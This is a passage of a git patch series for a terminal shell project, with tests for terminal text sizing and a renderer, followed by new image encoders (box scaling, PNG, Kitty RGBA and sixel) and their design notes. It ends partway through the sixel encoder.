'enhanced' as const, capabilities: scaled, env: {TERM_PROGRAM: 'kitty', NMSH_TEXT_SIZING: '0'}}, + ]; + for (const state of states) { + configureTextSizing(state); + assert.equal(textSizingEnabled(), false, JSON.stringify([state.setting, state.env])); + assert.equal(textSizingActive(), false); + assert.equal(typeset({role: 'title', text: 'Hello', maxColumns: 80}).sized, undefined); + } + reset(); +}); + +test('Ghostty: Auto leaves scaling off even when the probe moved the cursor; Enhanced is the explicit override', () => { + const env = {TERM_PROGRAM: 'ghostty'}; + configureTextSizing({setting: 'auto', capabilities: scaled, env}); + assert.equal(textSizingEnabled(), false); + assert.match(describeTextSizing({setting: 'auto', capabilities: scaled, env}), /not known to draw scaled glyphs/u); + configureTextSizing({setting: 'enhanced', capabilities: scaled, env}); + assert.equal(textSizingEnabled(), true); + assert.equal(textSizing().capability.scale, true, 'scale support is still reported separately from width'); + reset(); +}); + +test('describeTextSizing explains each state honestly', () => { + const env = {TERM_PROGRAM: 'kitty'}; + assert.match(describeTextSizing({setting: 'off', capabilities: scaled, env}), /off in Settings/u); + assert.match(describeTextSizing({setting: 'auto', capabilities: BASELINE_CAPABILITIES, env}), /did not answer/u); + assert.match(describeTextSizing({setting: 'auto', capabilities: {...BASELINE_CAPABILITIES, textSizing: {scale: false, width: true}}, env}), /explicit widths only/u); + assert.match(describeTextSizing({setting: 'auto', capabilities: scaled, env}), /scaled headings and counters \(verified/u); + assert.match(describeTextSizing({setting: 'auto', capabilities: scaled, env: {TMUX: '1'}}), /multiplexer/u); + void resolveHostCapabilities; +}); + +// ---- the renderer: sized blocks are drawn after the rows, and again whenever a row they cover repaints ---------------- + +function renderer() { + const writes: string[] = []; + const instance = new TerminalRenderer(data => { writes.push(data); }); + instance.enter(); + writes.length = 0; + const frame = (rows: string[]) => ({rows, cursorRow: 1, cursorColumn: 1, columns: 40}); + return {instance, writes, frame, last: () => writes.at(-1) ?? ''}; +} +const block = (overrides: Partial = {}): TextBlock => ({row: 1, column: 2, columns: 10, rows: 2, sequence: '\u001b]66;s=2;Hello\u001b\\', ...overrides}); + +test('renderer: a block is written after every row, once, and not again while its rows are unchanged', () => { + const r = renderer(); + r.instance.setTextBlocks([block()]); + r.instance.render(r.frame(['top', '', '', 'bottom'])); + const first = r.last(); + assert.ok(first.indexOf('bottom') < first.indexOf('\u001b]66;s=2;Hello'), 'rows first, block last: an erase of a row would otherwise destroy it'); + assert.match(first, /\u001b\[2;3H\u001b\]66;s=2;Hello\u001b\\/u, 'positioned at its top-left cell'); + r.writes.length = 0; + r.instance.render(r.frame(['top', '', '', 'bottom'])); + assert.deepEqual(r.writes, [], 'nothing changed: nothing written'); + r.instance.render(r.frame(['changed', '', '', 'bottom'])); + assert.doesNotMatch(r.last(), /\]66;/u, 'a row the block does not cover changed: the block stays'); +}); + +test('renderer: a repaint of a covered row draws the block again, a removed block forces its rows to repaint, invalidate redraws', () => { + const r = renderer(); + r.instance.setTextBlocks([block()]); + r.instance.render(r.frame(['top', '', '', 'bottom'])); + r.writes.length = 0; + r.instance.render(r.frame(['top', '', 'x', 'bottom'])); + assert.match(r.last(), /\u001b\[3;1H\u001b\[2Kx[\s\S]*\u001b\[2;3H\u001b\]66;s=2;Hello/u, 'the covered row was erased, so the block is drawn again'); + r.writes.length = 0; + r.instance.setTextBlocks([]); + r.instance.render(r.frame(['top', '', 'x', 'bottom'])); + assert.match(r.last(), /\u001b\[2;1H\u001b\[2K/u, 'the rows it covered are rewritten, which erases the block'); + assert.doesNotMatch(r.last(), /\]66;/u); + r.instance.setTextBlocks([block()]); + r.instance.render(r.frame(['top', '', 'x', 'bottom'])); + r.writes.length = 0; + r.instance.invalidate(); + r.instance.render(r.frame(['top', '', 'x', 'bottom'])); + assert.match(r.last(), /\u001b\]66;s=2;Hello/u, 'after invalidate every row and block is drawn again'); +}); + +test('renderer: nothing is written while a program owns the screen, and a block is re-drawn after it returns', () => { + const r = renderer(); + r.instance.setTextBlocks([block()]); + r.instance.render(r.frame(['top', '', '', 'bottom'])); + r.instance.suspendForPassthrough(); + r.writes.length = 0; + r.instance.render(r.frame(['top', '', '', 'bottom'])); + assert.deepEqual(r.writes, [], 'a suspended renderer writes nothing'); + r.instance.sendRaw('\u001b_Gx\u001b\\'); + assert.deepEqual(r.writes, [], 'nor raw bytes'); + r.instance.resumeAfterPassthrough(); + r.writes.length = 0; + r.instance.render(r.frame(['top', '', '', 'bottom'])); + assert.match(r.writes.join(''), /\u001b\]66;s=2;Hello/u); +}); From 0363c25b834ec6f7d220e8bc649782517bd8c77f Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:43:52 +0530 Subject: [PATCH 114/157] Graphics encoders: box scaling, character-art cells, sixel and PNG/Kitty RGBA --- docs/design/graphics-encoders.md | 86 +++++++++ src/graphics/pngEncode.ts | 109 +++++++++++ src/graphics/scale.ts | 143 ++++++++++++++ src/graphics/sixel.ts | 244 ++++++++++++++++++++++++ src/graphics/unicode.ts | 286 ++++++++++++++++++++++++++++ tests/graphicsEncodePng.test.ts | 117 ++++++++++++ tests/graphicsEncodeScale.test.ts | 89 +++++++++ tests/graphicsEncodeSixel.test.ts | 157 +++++++++++++++ tests/graphicsEncodeUnicode.test.ts | 158 +++++++++++++++ 9 files changed, 1389 insertions(+) create mode 100644 docs/design/graphics-encoders.md create mode 100644 src/graphics/pngEncode.ts create mode 100644 src/graphics/scale.ts create mode 100644 src/graphics/sixel.ts create mode 100644 src/graphics/unicode.ts create mode 100644 tests/graphicsEncodePng.test.ts create mode 100644 tests/graphicsEncodeScale.test.ts create mode 100644 tests/graphicsEncodeSixel.test.ts create mode 100644 tests/graphicsEncodeUnicode.test.ts diff --git a/docs/design/graphics-encoders.md b/docs/design/graphics-encoders.md new file mode 100644 index 00000000..42f972cb --- /dev/null +++ b/docs/design/graphics-encoders.md @@ -0,0 +1,86 @@ +# Graphics encoders + +Pure raster-to-output functions for NMSh's graphics service. They take a `Raster` (straight-alpha RGBA, `src/graphics/raster.ts`) +and return strings or bytes; none touches the filesystem or the terminal, and none throws anything but `ImageError`. + +| Module | Export | Output | +| --- | --- | --- | +| `scale.ts` | `scaleBox`, `flatten`, `fitCells`, `assertRaster` | resampled / flattened rasters, cell fit | +| `unicode.ts` | `renderCells` | character-art rows for terminals with no graphics protocol | +| `sixel.ts` | `encodeSixel`, `SIXEL_MAX_PIXELS` | a complete DCS sixel stream | +| `pngEncode.ts` | `encodePng`, `kittyRgba`, `crc32` | PNG bytes; raw/zlib RGBA for Kitty `f=32` | + +## Scaling + +`scaleBox` is an area-average (box) filter in premultiplied alpha, computed on an integer axis (target pixel `x` covers +`[x*sw, (x+1)*sw]`, source pixel `i` covers `[i*w, (i+1)*w]`), so integer ratios are exact means and there is no float drift +at pixel edges. A transparent pixel never tints its neighbours. Upscaling is nearest-neighbour by construction (a target pixel +inside one source pixel copies it; one straddling a boundary is the area blend), which keeps pixel art crisp. Memory is the +result plus one row of accumulators. + +`fitCells(w, h, maxColumns, maxRows, cell = 8x16, allowUpscale = false)` keeps the aspect ratio from the real cell pixel size, +returns at least 1 x 1 and never more than the maximum, and does not grow an image past its natural size unless asked. + +## Character art (`renderCells`) + +Options: `columns`, `rows` (maximums), `mode`, `color`, `safe`, `background?`. The image is fitted into the box (cells are +treated as 8 x 16 px), scaled with the box filter to the mode's pixel grid and rendered. The result is `{rows, columns, height}` +where `columns` is the fitted width: every row is exactly that many display cells wide (no padding is needed because the grid +is exactly the fitted size) and `height` is the number of rows. Sizes are clamped to 1024 cells a side. + +| Mode | Pixels per cell | Glyphs | +| --- | --- | --- | +| `half` | 1 x 2 | `▀` (fg top, bg bottom), `▄`/`▀` with default bg at a transparent edge | +| `quadrant` | 2 x 2 | the 16 block elements; least-squares best two-color split | +| `braille` | 2 x 4 | U+2800 dots; fg = mean of lit dots, bg = mean of unlit | +| `ascii` | 1 x 2 | ` .:-=+*#%@` luminance ramp | + +- **Quadrant fit.** For an opaque cell, the seven distinct ways to split the four pixels in two groups are scored by + `|sum_A|^2/n_A + |sum_B|^2/n_B` (minimising squared error); the best wins, and the brighter group is the foreground, so a + white-on-black pattern is its own glyph. A uniform cell is `█` in its color. Braille lights the dots at or above the cell's + mean luminance. +- **Color.** `truecolor` uses `38;2` / `48;2`; `ansi256` and `ansi16` go through `colorEscape` (`src/chroma/escape.ts`); `none` + emits no escape at all, so shape comes from luminance: a flat cell is a shade (` ░▒▓█`), otherwise the bright part is the + glyph. Adjacent equal SGR state is not re-emitted, glyphs that ignore a layer (space, full block) leave it alone, and a + styled row ends with `ESC[0m`. Nothing but SGR and glyphs is ever emitted. +- **Safe.** `safe: true` renders every mode as `ascii`, so glyphs are printable ASCII only (0x20-0x7e). Color escapes still + follow `color`; use `color: 'none'` for ASCII-only bytes. In color ascii the fg is the cell hue at full brightness and the + glyph carries the lightness. +- **Transparency.** Alpha below 128 is transparent. With `background` the image is composited over it first; without it the + cell stays unpainted (a plain space, or a half/quadrant/braille shape drawn with the default background), so the terminal's + own background shows. + +Performance (Apple silicon dev Mac, warmed, Node 26): 1600 x 1200 -> 200 x 60 cells in quadrant mode, truecolor: about +14-19 ms total, of which the box scale is about 11-14 ms. (The first call in a cold process costs more.) + +## Sixel (`encodeSixel`) + +`ESC P 0;;0 q "1;1;;`, palette `#n;2;r;g;b` (0-100 percent), bands of six rows, `!n` runs (for runs over three), `$` +between colors, `-` between bands, `ESC \`. P2 is 1 only with `transparent: true` (alpha below 128 is left undrawn); otherwise +alpha is flattened over `background` (black). Only colors that are used are defined; trailing empty columns of a color row are +trimmed. + +- **Palette.** Median cut over an evenly strided sample of at most 65,536 pixels: exact when the sample has no more colors than + `maxColors`, otherwise the box with the widest weighted spread is split at its weighted median, ties broken by color value. + Palette entries are the values a terminal draws after percent rounding (so 100/255 comes back as 99). +- **Dither.** `none`, `ordered` (Bayer 4 x 4, +-24 levels) or `floyd` (Floyd-Steinberg, left to right, deterministic). +- **Limits.** Wider or taller than 4096 pixels is `ImageError('too-large')`; `SIXEL_MAX_PIXELS` = 4096 x 4096; the stream is + capped at 32 MiB (`too-large` rather than building more). Callers should scale to the terminal's pixel size first. +- **Cost.** 800 x 600 gradient, 256 colors: about 250 ms (none), 350 ms (ordered), 300 ms (floyd). Output 80 KB without dither, + about 390 KB dithered. +- `P1 = 0` follows the brief; the raster attributes `"1;1` declare square pixels. + +## PNG and Kitty (`pngEncode.ts`) + +`encodePng` writes signature, IHDR (8-bit RGBA), one IDAT (zlib via `node:zlib`, level 0-9, default 6) and IEND with correct +CRC32s. Each row picks the filter (none, sub, up, average, paeth) with the smallest sum of absolute residuals (ties: the lower +type); `{filter}` forces one type (used by the tests). Pixels are written as given, so decoding returns the raster exactly. +800 x 600 gradient: about 50 ms. `kittyRgba` returns the raw RGBA bytes (a view of the raster's buffer) or their zlib stream +for `f=32,o=z`. + +## Verification + +`tests/graphicsEncode{Scale,Unicode,Sixel,Png}.test.ts`: small deterministic rasters, exact widths via `displayWidth`, zero +escapes for `none`, byte range for safe mode, all 15 quadrant patterns, braille bit order, a test-only sixel decoder (exact +round trip of a two-color image, tolerance for gradients), a test-only PNG decoder (inflate + all five unfilters, CRC +checks), size limits, determinism and seeded fuzzing. These are automated tests, not physical terminal verification. diff --git a/src/graphics/pngEncode.ts b/src/graphics/pngEncode.ts new file mode 100644 index 00000000..7ddfa79a --- /dev/null +++ b/src/graphics/pngEncode.ts @@ -0,0 +1,109 @@ +import {deflateSync} from 'node:zlib'; +import {checkDimensions, type Raster} from './raster.js'; +import {assertRaster} from './scale.js'; + +const SIGNATURE = Uint8Array.of(0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a); +const BPP = 4; + +const CRC_TABLE = (() => { + const table = new Uint32Array(256); + for (let n = 0; n < 256; n += 1) { + let c = n; + for (let k = 0; k < 8; k += 1) c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1; + table[n] = c >>> 0; + } + return table; +})(); + +export function crc32(bytes: Uint8Array, seed = 0): number { + let c = ~seed >>> 0; + for (let i = 0; i < bytes.length; i += 1) c = CRC_TABLE[(c ^ bytes[i]!) & 255]! ^ (c >>> 8); + return ~c >>> 0; +} + +function chunk(type: string, body: Uint8Array): Uint8Array { + const out = new Uint8Array(12 + body.length); + const view = new DataView(out.buffer); + view.setUint32(0, body.length); + for (let i = 0; i < 4; i += 1) out[4 + i] = type.charCodeAt(i); + out.set(body, 8); + view.setUint32(8 + body.length, crc32(out.subarray(4, 8 + body.length))); + return out; +} + +function paeth(a: number, b: number, c: number): number { + const p = a + b - c; + const pa = Math.abs(p - a); + const pb = Math.abs(p - b); + const pc = Math.abs(p - c); + return pa <= pb && pa <= pc ? a : pb <= pc ? b : c; +} + +/** Filter one row with PNG filter `type` (0 none, 1 sub, 2 up, 3 average, 4 paeth) into `out` (after its type byte). */ +function filterRow(type: number, row: Uint8ClampedArray, offset: number, prior: number, rowBytes: number, out: Uint8Array, at: number): number { + let cost = 0; + for (let i = 0; i < rowBytes; i += 1) { + const x = row[offset + i]!; + const a = i >= BPP ? row[offset + i - BPP]! : 0; + const b = prior >= 0 ? row[prior + i]! : 0; + const c = prior >= 0 && i >= BPP ? row[prior + i - BPP]! : 0; + const predicted = type === 0 ? 0 : type === 1 ? a : type === 2 ? b : type === 3 ? (a + b) >> 1 : paeth(a, b, c); + const value = (x - predicted) & 255; + out[at + i] = value; + cost += value < 128 ? value : 256 - value; + } + return cost; +} + +export interface PngOptions { + /** zlib level 0-9 (default 6). */ + level?: number; + /** Force one PNG filter type for every row; the default picks the cheapest per row by sum of absolute differences. */ + filter?: 'auto' | 0 | 1 | 2 | 3 | 4; +} + +/** A valid 8-bit RGBA PNG. Pixels are written as given (straight alpha), so decoding gives the raster back exactly. */ +export function encodePng(raster: Raster, options: PngOptions = {}): Uint8Array { + assertRaster(raster); + checkDimensions(raster.width, raster.height); + const {width, height} = raster; + const rowBytes = width * BPP; + const level = Number.isInteger(options.level) ? Math.max(0, Math.min(9, options.level!)) : 6; + const forced = options.filter ?? 'auto'; + const raw = new Uint8Array(height * (rowBytes + 1)); + const scratch = new Uint8Array(rowBytes); + for (let y = 0; y < height; y += 1) { + const offset = y * rowBytes; + const prior = y > 0 ? offset - rowBytes : -1; + const at = y * (rowBytes + 1); + let best: number = forced === 'auto' ? 0 : forced; + if (forced === 'auto') { + let bestCost = Infinity; + for (let type = 0; type < 5; type += 1) { + const cost = filterRow(type, raster.data, offset, prior, rowBytes, scratch, 0); + if (cost < bestCost) { bestCost = cost; best = type; } + } + } + raw[at] = best; + filterRow(best, raster.data, offset, prior, rowBytes, raw, at + 1); + } + const header = new Uint8Array(13); + const view = new DataView(header.buffer); + view.setUint32(0, width); + view.setUint32(4, height); + header[8] = 8; // bit depth + header[9] = 6; // RGBA + const parts = [SIGNATURE, chunk('IHDR', header), chunk('IDAT', deflateSync(raw, {level})), chunk('IEND', new Uint8Array(0))]; + const out = new Uint8Array(parts.reduce((sum, part) => sum + part.length, 0)); + let cursor = 0; + for (const part of parts) { out.set(part, cursor); cursor += part.length; } + return out; +} + +/** Raw RGBA bytes for Kitty `f=32`, optionally zlib-compressed for `o=z`. Uncompressed, the payload views the raster's own buffer. */ +export function kittyRgba(raster: Raster, options: {compress?: boolean} = {}): {payload: Uint8Array; format: 'RGBA'; compressed: boolean} { + assertRaster(raster); + const bytes = new Uint8Array(raster.data.buffer, raster.data.byteOffset, raster.width * raster.height * BPP); + if (options.compress) return {payload: new Uint8Array(deflateSync(bytes)), format: 'RGBA', compressed: true}; + return {payload: bytes, format: 'RGBA', compressed: false}; +} diff --git a/src/graphics/scale.ts b/src/graphics/scale.ts new file mode 100644 index 00000000..0112fd1c --- /dev/null +++ b/src/graphics/scale.ts @@ -0,0 +1,143 @@ +import {IMAGE_LIMITS, ImageError, type Raster, type Rgb8} from './raster.js'; + +/** Throw `malformed` unless `raster` is a real image whose buffer holds all its pixels, and `too-large` beyond the shared limits. */ +export function assertRaster(raster: Raster): void { + const {width, height, data} = raster; + if (!Number.isInteger(width) || !Number.isInteger(height) || width < 1 || height < 1) throw new ImageError('malformed', 'The image has an invalid size.'); + if (width > IMAGE_LIMITS.maxDimension || height > IMAGE_LIMITS.maxDimension || width * height > IMAGE_LIMITS.maxPixels) { + throw new ImageError('too-large', 'The image is larger than NMSh will process.'); + } + if (!data || data.length < width * height * 4) throw new ImageError('malformed', 'The image data is shorter than its size says.'); +} + +function assertTarget(width: number, height: number): void { + if (!Number.isInteger(width) || !Number.isInteger(height) || width < 1 || height < 1) throw new ImageError('malformed', 'The target size is invalid.'); + if (width > IMAGE_LIMITS.maxDimension || height > IMAGE_LIMITS.maxDimension || width * height > IMAGE_LIMITS.maxPixels) { + throw new ImageError('too-large', 'The target size is larger than NMSh will produce.'); + } +} + +/** + * Resample to `width` x `height` with an area-average (box) filter in premultiplied alpha, so a transparent pixel never + * tints its neighbours. Every target pixel is the exact area-weighted mean of the source it covers: integer ratios are + * plain averages, and the weights are integers (no float drift at pixel edges). Upscaling is nearest-neighbour (each + * target pixel lies inside one source pixel, except where it straddles a boundary, where it is the area blend), which + * keeps pixel art crisp. Memory: the result plus one row of accumulators; never more than the target size. + */ +export function scaleBox(src: Raster, width: number, height: number): Raster { + assertRaster(src); + assertTarget(width, height); + const sw = src.width; + const sh = src.height; + const data = new Uint8ClampedArray(width * height * 4); + if (sw === width && sh === height) { + data.set(src.data.subarray(0, data.length)); + return {width, height, data}; + } + const input = src.data; + const acc = new Float64Array(width * 4); + // Target pixel x covers [x*sw, (x+1)*sw] and source pixel i covers [i*width, (i+1)*width] on a common integer axis. + const total = sw * sh; + for (let dy = 0; dy < height; dy += 1) { + acc.fill(0); + const y0 = dy * sh; + const y1 = y0 + sh; + const firstRow = Math.floor(y0 / height); + const lastRow = Math.ceil(y1 / height) - 1; + for (let row = firstRow; row <= lastRow; row += 1) { + const wy = Math.min(y1, (row + 1) * height) - Math.max(y0, row * height); + const base = row * sw * 4; + for (let dx = 0; dx < width; dx += 1) { + const x0 = dx * sw; + const x1 = x0 + sw; + const firstCol = Math.floor(x0 / width); + const lastCol = Math.ceil(x1 / width) - 1; + let r = 0; + let g = 0; + let b = 0; + let a = 0; + for (let col = firstCol; col <= lastCol; col += 1) { + const wx = Math.min(x1, (col + 1) * width) - Math.max(x0, col * width); + const at = base + col * 4; + const alpha = input[at + 3]! * wx; + r += input[at]! * alpha; + g += input[at + 1]! * alpha; + b += input[at + 2]! * alpha; + a += alpha; + } + const k = dx * 4; + acc[k] = acc[k]! + r * wy; + acc[k + 1] = acc[k + 1]! + g * wy; + acc[k + 2] = acc[k + 2]! + b * wy; + acc[k + 3] = acc[k + 3]! + a * wy; + } + } + let out = dy * width * 4; + for (let dx = 0; dx < width; dx += 1) { + const k = dx * 4; + const alphaSum = acc[k + 3]!; + if (alphaSum > 0) { + data[out] = Math.round(acc[k]! / alphaSum); + data[out + 1] = Math.round(acc[k + 1]! / alphaSum); + data[out + 2] = Math.round(acc[k + 2]! / alphaSum); + data[out + 3] = Math.round(alphaSum / total); + } + out += 4; + } + } + return {width, height, data}; +} + +/** Composite over an opaque color: the result has alpha 255 everywhere. */ +export function flatten(src: Raster, bg: Rgb8): Raster { + assertRaster(src); + const count = src.width * src.height; + const data = new Uint8ClampedArray(count * 4); + const input = src.data; + const {red, green, blue} = bg; + for (let i = 0, at = 0; i < count; i += 1, at += 4) { + const a = input[at + 3]!; + if (a === 255) { + data[at] = input[at]!; + data[at + 1] = input[at + 1]!; + data[at + 2] = input[at + 2]!; + } else { + const inverse = 255 - a; + data[at] = Math.round((input[at]! * a + red * inverse) / 255); + data[at + 1] = Math.round((input[at + 1]! * a + green * inverse) / 255); + data[at + 2] = Math.round((input[at + 2]! * a + blue * inverse) / 255); + } + data[at + 3] = 255; + } + return {width: src.width, height: src.height, data}; +} + +export interface CellSize { width: number; height: number } + +/** + * The size in terminal cells an image occupies inside `maxColumns` x `maxRows`, keeping its aspect ratio using the real + * cell pixel size. At least 1 x 1, never above the maximum. Unless `allowUpscale`, an image never grows past its natural + * size (one pixel per cell pixel). + */ +export function fitCells( + imageWidth: number, + imageHeight: number, + maxColumns: number, + maxRows: number, + cell: CellSize = {width: 8, height: 16}, + allowUpscale = false, +): {columns: number; rows: number} { + if (!(imageWidth > 0) || !(imageHeight > 0) || !Number.isFinite(imageWidth) || !Number.isFinite(imageHeight)) { + throw new ImageError('malformed', 'The image has an invalid size.'); + } + const limit = (value: number) => (Number.isFinite(value) ? Math.max(1, Math.floor(value)) : 1); + const columnsMax = limit(maxColumns); + const rowsMax = limit(maxRows); + const cw = cell.width > 0 && Number.isFinite(cell.width) ? cell.width : 8; + const ch = cell.height > 0 && Number.isFinite(cell.height) ? cell.height : 16; + let scale = Math.min((columnsMax * cw) / imageWidth, (rowsMax * ch) / imageHeight); + if (!allowUpscale) scale = Math.min(scale, 1); + const columns = Math.min(columnsMax, Math.max(1, Math.round((imageWidth * scale) / cw))); + const rows = Math.min(rowsMax, Math.max(1, Math.round((imageHeight * scale) / ch))); + return {columns, rows}; +} diff --git a/src/graphics/sixel.ts b/src/graphics/sixel.ts new file mode 100644 index 00000000..7e952aa0 --- /dev/null +++ b/src/graphics/sixel.ts @@ -0,0 +1,244 @@ +import {ImageError, type Raster, type Rgb8} from './raster.js'; +import {assertRaster} from './scale.js'; + +/** The longest side a sixel image may have. Scale to the terminal's pixel size first; sixel is a bulky format. */ +export const SIXEL_MAX_DIMENSION = 4096; +/** The most pixels a sixel image may have. */ +export const SIXEL_MAX_PIXELS = SIXEL_MAX_DIMENSION * SIXEL_MAX_DIMENSION; +/** The longest stream produced; a pathological image (every pixel a different color run) is refused rather than built. */ +export const SIXEL_MAX_BYTES = 32 * 1024 * 1024; +/** Pixels sampled to build the palette. */ +const SAMPLE_PIXELS = 65_536; +const CACHE_SIZE = 1 << 14; + +export interface SixelOptions { + maxColors?: 16 | 64 | 128 | 256; + dither?: 'none' | 'ordered' | 'floyd'; + /** Pixels with alpha < 128 stay undrawn (P2 = 1) instead of being flattened over `background`. */ + transparent?: boolean; + /** What a non-`transparent` stream shows through alpha; black by default. */ + background?: Rgb8; +} + +/** Bayer 4 x 4 thresholds, centered on zero, scaled to +-24 levels. */ +const BAYER = [0, 8, 2, 10, 12, 4, 14, 6, 3, 11, 1, 9, 15, 7, 13, 5].map(value => Math.round(((value + 0.5) / 16 - 0.5) * 48)); + +/** The sixel palette stores percentages, so the color a terminal draws is the one rounded through 0-100. */ +const percent = (value: number) => Math.round((value / 255) * 100); +const fromPercent = (value: number) => Math.round((value * 255) / 100); + +interface Entry { color: number; count: number } + +/** Median-cut over (color, count) entries: repeatedly split the box with the widest weighted spread at its weighted median. */ +function medianCut(entries: Entry[], target: number): number[] { + interface Box { items: Entry[]; weight: number; axis: number; spread: number } + const measure = (items: Entry[]): Box => { + let lo = [255, 255, 255]; + let hi = [0, 0, 0]; + let weight = 0; + for (const {color, count} of items) { + const channels = [color >> 16, (color >> 8) & 255, color & 255]; + for (let c = 0; c < 3; c += 1) { + if (channels[c]! < lo[c]!) lo[c] = channels[c]!; + if (channels[c]! > hi[c]!) hi[c] = channels[c]!; + } + weight += count; + } + let axis = 0; + for (let c = 1; c < 3; c += 1) if (hi[c]! - lo[c]! > hi[axis]! - lo[axis]!) axis = c; + return {items, weight, axis, spread: hi[axis]! - lo[axis]!}; + }; + const boxes = [measure(entries)]; + while (boxes.length < target) { + let pick = -1; + let pickScore = 0; + for (let i = 0; i < boxes.length; i += 1) { + const box = boxes[i]!; + if (box.items.length < 2) continue; + const score = box.spread * Math.sqrt(box.weight); + if (score > pickScore) { pickScore = score; pick = i; } + } + if (pick < 0) break; + const box = boxes[pick]!; + const shift = 16 - 8 * box.axis; + // Ties on the axis fall back to the full color so the order, and so the palette, is deterministic. + const items = box.items.slice().sort((a, b) => ((a.color >> shift) & 255) - ((b.color >> shift) & 255) || a.color - b.color); + let seen = 0; + let cut = 1; + for (let i = 0; i < items.length - 1; i += 1) { + seen += items[i]!.count; + cut = i + 1; + if (seen * 2 >= box.weight) break; + } + boxes.splice(pick, 1, measure(items.slice(0, cut)), measure(items.slice(cut))); + } + return boxes.map(box => { + let r = 0; let g = 0; let b = 0; + for (const {color, count} of box.items) { r += (color >> 16) * count; g += ((color >> 8) & 255) * count; b += (color & 255) * count; } + return (fromPercent(percent(Math.round(r / box.weight))) << 16) | (fromPercent(percent(Math.round(g / box.weight))) << 8) | fromPercent(percent(Math.round(b / box.weight))); + }); +} + +/** + * A complete sixel stream (DCS ... ST) for `raster`. Colors come from a median cut over a bounded, evenly strided sample + * of the opaque pixels (exact when the image has no more colors than the palette); palette entries are the values a + * terminal draws after the 0-100 percent rounding. Deterministic: the same raster and options give the same bytes. + */ +export function encodeSixel(raster: Raster, options: SixelOptions = {}): string { + assertRaster(raster); + const {width, height} = raster; + if (width > SIXEL_MAX_DIMENSION || height > SIXEL_MAX_DIMENSION || width * height > SIXEL_MAX_PIXELS) { + throw new ImageError('too-large', `The image is too large for sixel (${width} × ${height}; at most ${SIXEL_MAX_DIMENSION} pixels a side).`); + } + const maxColors = Math.max(2, Math.min(256, Math.floor(options.maxColors ?? 256) || 256)); + const dither = options.dither ?? 'none'; + const transparent = options.transparent === true; + const bg = options.background ?? {red: 0, green: 0, blue: 0}; + const input = raster.data; + const count = width * height; + + // Straight-alpha color of pixel i composited over the background (only used when not transparent or alpha >= 128). + const rgb = (i: number, out: Int32Array | number[]) => { + const at = i * 4; + const a = input[at + 3]!; + if (a === 255) { out[0] = input[at]!; out[1] = input[at + 1]!; out[2] = input[at + 2]!; return; } + out[0] = Math.round((input[at]! * a + bg.red * (255 - a)) / 255); + out[1] = Math.round((input[at + 1]! * a + bg.green * (255 - a)) / 255); + out[2] = Math.round((input[at + 2]! * a + bg.blue * (255 - a)) / 255); + }; + const isClear = (i: number) => transparent && input[i * 4 + 3]! < 128; + + // Palette from a strided sample. + const histogram = new Map(); + const step = Math.max(1, Math.ceil(count / SAMPLE_PIXELS)); + const px = new Int32Array(3); + for (let i = 0; i < count; i += step) { + if (isClear(i)) continue; + rgb(i, px); + const key = (px[0]! << 16) | (px[1]! << 8) | px[2]!; + histogram.set(key, (histogram.get(key) ?? 0) + 1); + } + const entries = [...histogram].map(([color, n]) => ({color, count: n})).sort((a, b) => a.color - b.color); + let palette: number[]; + if (entries.length === 0) palette = []; + else if (entries.length <= maxColors) palette = [...new Set(entries.map(({color}) => (fromPercent(percent(color >> 16)) << 16) | (fromPercent(percent((color >> 8) & 255)) << 8) | fromPercent(percent(color & 255))))].sort((a, b) => a - b); + else palette = [...new Set(medianCut(entries, maxColors))].sort((a, b) => a - b); + + const pr = Int32Array.from(palette, color => color >> 16); + const pg = Int32Array.from(palette, color => (color >> 8) & 255); + const pb = Int32Array.from(palette, color => color & 255); + // A small direct-mapped cache keeps the nearest-color search off the hot path; collisions only cost a recomputation. + const cacheKey = new Int32Array(CACHE_SIZE).fill(-1); + const cacheValue = new Int16Array(CACHE_SIZE); + const nearest = (r: number, g: number, b: number): number => { + const key = (r << 16) | (g << 8) | b; + const slot = Math.imul(key, 0x9e3779b1) >>> 18; + if (cacheKey[slot] === key) return cacheValue[slot]!; + let best = 0; + let bestDistance = Infinity; + for (let p = 0; p < pr.length; p += 1) { + const distance = (pr[p]! - r) ** 2 + (pg[p]! - g) ** 2 + (pb[p]! - b) ** 2; + if (distance < bestDistance) { bestDistance = distance; best = p; if (distance === 0) break; } + } + cacheKey[slot] = key; + cacheValue[slot] = best; + return best; + }; + + // Palette index per pixel (-1 where nothing is drawn). + const indices = new Int16Array(count).fill(-1); + if (palette.length > 0) { + const clamp = (v: number) => (v < 0 ? 0 : v > 255 ? 255 : v); + const floyd = dither === 'floyd'; + let errNow = new Float32Array(floyd ? (width + 2) * 3 : 0); + let errNext = new Float32Array(floyd ? (width + 2) * 3 : 0); + for (let y = 0; y < height; y += 1) { + for (let x = 0; x < width; x += 1) { + const i = y * width + x; + if (isClear(i)) continue; + rgb(i, px); + let r = px[0]!; let g = px[1]!; let b = px[2]!; + if (dither === 'ordered') { + const t = BAYER[(y & 3) * 4 + (x & 3)]!; + r = clamp(r + t); g = clamp(g + t); b = clamp(b + t); + } else if (floyd) { + const e = (x + 1) * 3; + r = clamp(Math.round(r + errNow[e]!)); g = clamp(Math.round(g + errNow[e + 1]!)); b = clamp(Math.round(b + errNow[e + 2]!)); + } + const index = nearest(r, g, b); + indices[i] = index; + if (floyd) { + const e = (x + 1) * 3; + const dr = r - pr[index]!; const dg = g - pg[index]!; const db = b - pb[index]!; + // 7/16 right, 3/16 below-left, 5/16 below, 1/16 below-right. + errNow[e + 3] = errNow[e + 3]! + (dr * 7) / 16; errNow[e + 4] = errNow[e + 4]! + (dg * 7) / 16; errNow[e + 5] = errNow[e + 5]! + (db * 7) / 16; + errNext[e - 3] = errNext[e - 3]! + (dr * 3) / 16; errNext[e - 2] = errNext[e - 2]! + (dg * 3) / 16; errNext[e - 1] = errNext[e - 1]! + (db * 3) / 16; + errNext[e] = errNext[e]! + (dr * 5) / 16; errNext[e + 1] = errNext[e + 1]! + (dg * 5) / 16; errNext[e + 2] = errNext[e + 2]! + (db * 5) / 16; + errNext[e + 3] = errNext[e + 3]! + dr / 16; errNext[e + 4] = errNext[e + 4]! + dg / 16; errNext[e + 5] = errNext[e + 5]! + db / 16; + } + } + if (floyd) { const swap = errNow; errNow = errNext; errNext = swap; errNext.fill(0); } + } + } + + // Only the colors actually used are defined, numbered in palette order. + const used = new Int16Array(palette.length).fill(-1); + for (let i = 0; i < count; i += 1) if 